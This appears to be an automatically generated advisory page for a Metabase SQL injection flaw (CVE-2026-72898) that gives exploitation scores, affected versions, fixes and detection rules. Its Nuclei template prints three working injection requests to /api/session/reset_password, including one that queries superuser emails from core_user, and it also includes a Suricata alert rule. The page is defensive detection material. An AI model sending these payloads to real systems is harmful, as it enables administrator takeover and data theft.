VULNpocalypse

CVE-2026-72898: Metabase SQL Injection Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Metabase allows a remote, unauthenticated attacker to inject arbitrary SQL via the ‘/reset_password’ database endpoint and gain administrator access to the connected Metabase instance.

Description quoted from the CVE record (assigned by cisa-cg, published 2026-08-10).

Weakness: CWE-89 Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2026-08-11
US federal deadline
2026-08-14
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2026-12003, EUVD-2026-55690

VEDAS cluster: VEDAS:BARLEYBREEZE

Exploit Observer links 17 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (17)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (2)

Vulnerability databases and vendor advisories (3)

Catalogue entries, not exploit evidence.

News (1)

114 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.988
very likely to be attacked soon
VEDAS
0.979
strong exploit evidence
On CISA KEV
Yes, since 2026-08-11
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
100.1CVE-2026-72898 EPSS over time2026-082026-11-01
VEDAS (exploit evidence)
100.9CVE-2026-72898 VEDAS over time2026-082026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
Metabase Metabasefrom x.58.0 before x.58.24
from x.59.0 before x.59.21
from x.60.0 before x.60.17
from x.61.0 before x.61.11
from x.62.0 before x.62.9
from x.63.0 before x.63.5		x.58.24 is not affected; x.59.21 is not affected; x.60.17 is not affected; x.61.11 is not affected

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: metabase metabase, metabase_inc metabase.

How to fix it

Fixed versions stated in the CVE record: x.58.24, x.59.21, x.60.17, x.61.11, x.62.9, x.63.5.

CISA required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset’s internet exposure and ensuring adherence to BOD 26-04 patching guidelines.

Vendor guidance:

  • url (vendor-advisory)
  • url (vendor-advisory)

How to detect it

Nuclei template (active check)

Metabase - SQL Injection

Metabase allows a remote, unauthenticated attacker to inject arbitrary SQL via the ‘/reset_password’ database endpoint and gain administrator access to the connected Metabase instance.

Name and description quoted from the template, written by VEDAS.

The template sends 3 requests (POST /api/session/reset_password, POST /api/session/reset_password, POST /api/session/reset_password); it decides using dsl matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-72898.yaml
Show the template (70 lines)
yaml
id: CVE-2026-72898

info:
  name: Metabase - SQL Injection
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Metabase allows a remote, unauthenticated attacker to inject arbitrary SQL via the '/reset_password' database
    endpoint and gain administrator access to the connected Metabase instance.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-72898&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=metabase&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-72898
    cwe-id: CWE-89
  metadata:
    verified: false
  tags: cve,cve2026,sqli,metabase,unauth,rce,kev,vkev
flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /api/session/reset_password HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"token":{"select":1},"password":"TestPassword1!"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains_all(body, "should be a string", "{:select 1}")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/session/reset_password HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"token":{"select":["email","id"],"from":["core_user"],"where":["=","is_superuser",true],"limit":1},"password":"TestPassword1!"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains_all(body, "is_superuser", "core_user")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/session/reset_password HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"token":"1_0000","password":"TestPassword1!","user-id":{"select":["id"],"from":["core_user"],"where":["=","is_superuser",true],"limit":1}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains_all(body, "\"errors\"", "\"password\"")'
          - '!contains(body, "disallowed key")'
        condition: and

CVE-2026-72898.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-72898 Metabase - SQL Injection. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-72898 Metabase - SQL Injection"; flow:established,to_server; http.uri; content:"/api/session/reset_password"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-72898; reference:url,https://www.exploit.observer/?keyword=CVE-2026-72898&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=metabase&match=exact; sid:1010406; rev:1;)

CVE-2026-72898.rules on GitHub

References

Vendor advisories and patches

  • url (vendor-advisory)
  • url (vendor-advisory)

Exploits and technical analysis

  • url (third-party-advisory)

Government sources

Other references

  • url (vdb-entry)

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.